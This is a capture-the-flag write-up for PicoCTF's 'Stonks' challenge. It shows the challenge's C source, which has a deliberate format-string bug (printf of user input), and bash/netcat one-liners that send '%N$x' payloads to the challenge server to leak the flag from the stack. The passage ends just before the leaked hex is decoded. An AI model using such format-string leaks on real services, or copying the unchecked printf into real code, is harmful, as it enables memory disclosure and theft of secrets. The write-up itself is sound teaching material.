PicoCTF: Stonks – Syn's writeups

I decided to try something noone else has before. I made a bot to automatically trade stonks for me using AI and machine learning. I wouldn't believe you if you told me it's unsecure!

Enumeration

We have as vuln.c file we can go through and try find any potential exploits without having to reverse the binary:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4

typedef struct Stonks {
	int shares;
	char symbol[MAX_SYM_LEN + 1];
	struct Stonks *next;
} Stonk;

typedef struct Portfolios {
	int money;
	Stonk *head;
} Portfolio;

int view_portfolio(Portfolio *p) {
	if (!p) {
		return 1;
	}
	printf("\nPortfolio as of ");
	fflush(stdout);
	system("date"); // TODO: implement this in C
	fflush(stdout);

	printf("\n\n");
	Stonk *head = p->head;
	if (!head) {
		printf("You don't own any stonks!\n");
	}
	while (head) {
		printf("%d shares of %s\n", head->shares, head->symbol);
		head = head->next;
	}
	return 0;
}

Stonk *pick_symbol_with_AI(int shares) {
	if (shares < 1) {
		return NULL;
	}
	Stonk *stonk = malloc(sizeof(Stonk));
	stonk->shares = shares;

	int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
	for (int i = 0; i <= MAX_SYM_LEN; i++) {
		if (i < AI_symbol_len) {
			stonk->symbol[i] = 'A' + (rand() % 26);
		} else {
			stonk->symbol[i] = '\0';
		}
	}

	stonk->next = NULL;

	return stonk;
}

int buy_stonks(Portfolio *p) {
	if (!p) {
		return 1;
	}
	char api_buf[FLAG_BUFFER];
	FILE *f = fopen("api","r");
	if (!f) {
		printf("Flag file not found. Contact an admin.\n");
		exit(1);
	}
	fgets(api_buf, FLAG_BUFFER, f);

	int money = p->money;
	int shares = 0;
	Stonk *temp = NULL;
	printf("Using patented AI algorithms to buy stonks\n");
	while (money > 0) {
		shares = (rand() % money) + 1;
		temp = pick_symbol_with_AI(shares);
		temp->next = p->head;
		p->head = temp;
		money -= shares;
	}
	printf("Stonks chosen\n");

	// TODO: Figure out how to read token from file, for now just ask

	char *user_buf = malloc(300 + 1);
	printf("What is your API token?\n");
	scanf("%300s", user_buf);
	printf("Buying stonks with token:\n");
	printf(user_buf);

	// TODO: Actually use key to interact with API

	view_portfolio(p);

	return 0;
}

Portfolio *initialize_portfolio() {
	Portfolio *p = malloc(sizeof(Portfolio));
	p->money = (rand() % 2018) + 1;
	p->head = NULL;
	return p;
}

void free_portfolio(Portfolio *p) {
	Stonk *current = p->head;
	Stonk *next = NULL;
	while (current) {
		next = current->next;
		free(current);
		current = next;
	}
	free(p);
}

int main(int argc, char *argv[])
{
	setbuf(stdout, NULL);
	srand(time(NULL));
	Portfolio *p = initialize_portfolio();
	if (!p) {
		printf("Memory failure\n");
		exit(1);
	}

	int resp = 0;

	printf("Welcome back to the trading app!\n\n");
	printf("What would you like to do?\n");
	printf("1) Buy some stonks!\n");
	printf("2) View my portfolio\n");
	scanf("%d", &resp);

	if (resp == 1) {
		buy_stonks(p);
	} else if (resp == 2) {
		view_portfolio(p);
	}

	free_portfolio(p);
	printf("Goodbye!\n");

	exit(0);
}

We see a few system calls that we could potential exploit if this was a local exploit however what’s interesting to us is line 89 – 93:

	char *user_buf = malloc(300 + 1);
	printf("What is your API token?\n");
	scanf("%300s", user_buf);
	printf("Buying stonks with token:\n");
	printf(user_buf);

We have a painfully obvious string format exploit, let’s test it:

As expected, we get decimal values printed back to us.

Scripting

PWN Tools is overkill for this task, we only need to exfiltrate values from the binary, we can do so using %N$s where N is a (currently) unknown value. N is the position of which the string we want is stored. In our case, this is going to be where our flag is stored in the binary:

for x in {1..100};
do
    (echo 1; echo "%${x}\$s") | nc mercury.picoctf.net 20195
done | less

This works however the formatting is horribly off and doesn’t display correctly in our terminal. Let’s try hex instead:

(echo 1; for x in {1..100}; do echo -n "%${x}\$08x"; done; echo) | nc mercury.picoctf.net 20195

I ended up with a string as so:

084bb4700804b000080489c3f7fabd80ffffffff00000001084b9160f7fb9110f7fabdc700000000084ba18000000001084bb450084bb4706f6369707b465443306c5f49345f74356d5f6c6c306d5f795f79336e3534303664303664ff8e007df7fe6af8f7fb944074b37f000000000100000000f7e48ce9f7fba0c0f7fab5c0f7fab000ff8e1ea8f7e3968df7fab5c008048ecaff8e1eb400000000f7fcdf090804b000f7fab000f7fabe20ff8e1ee8%

We can pass this over to cyber chef to decode for us: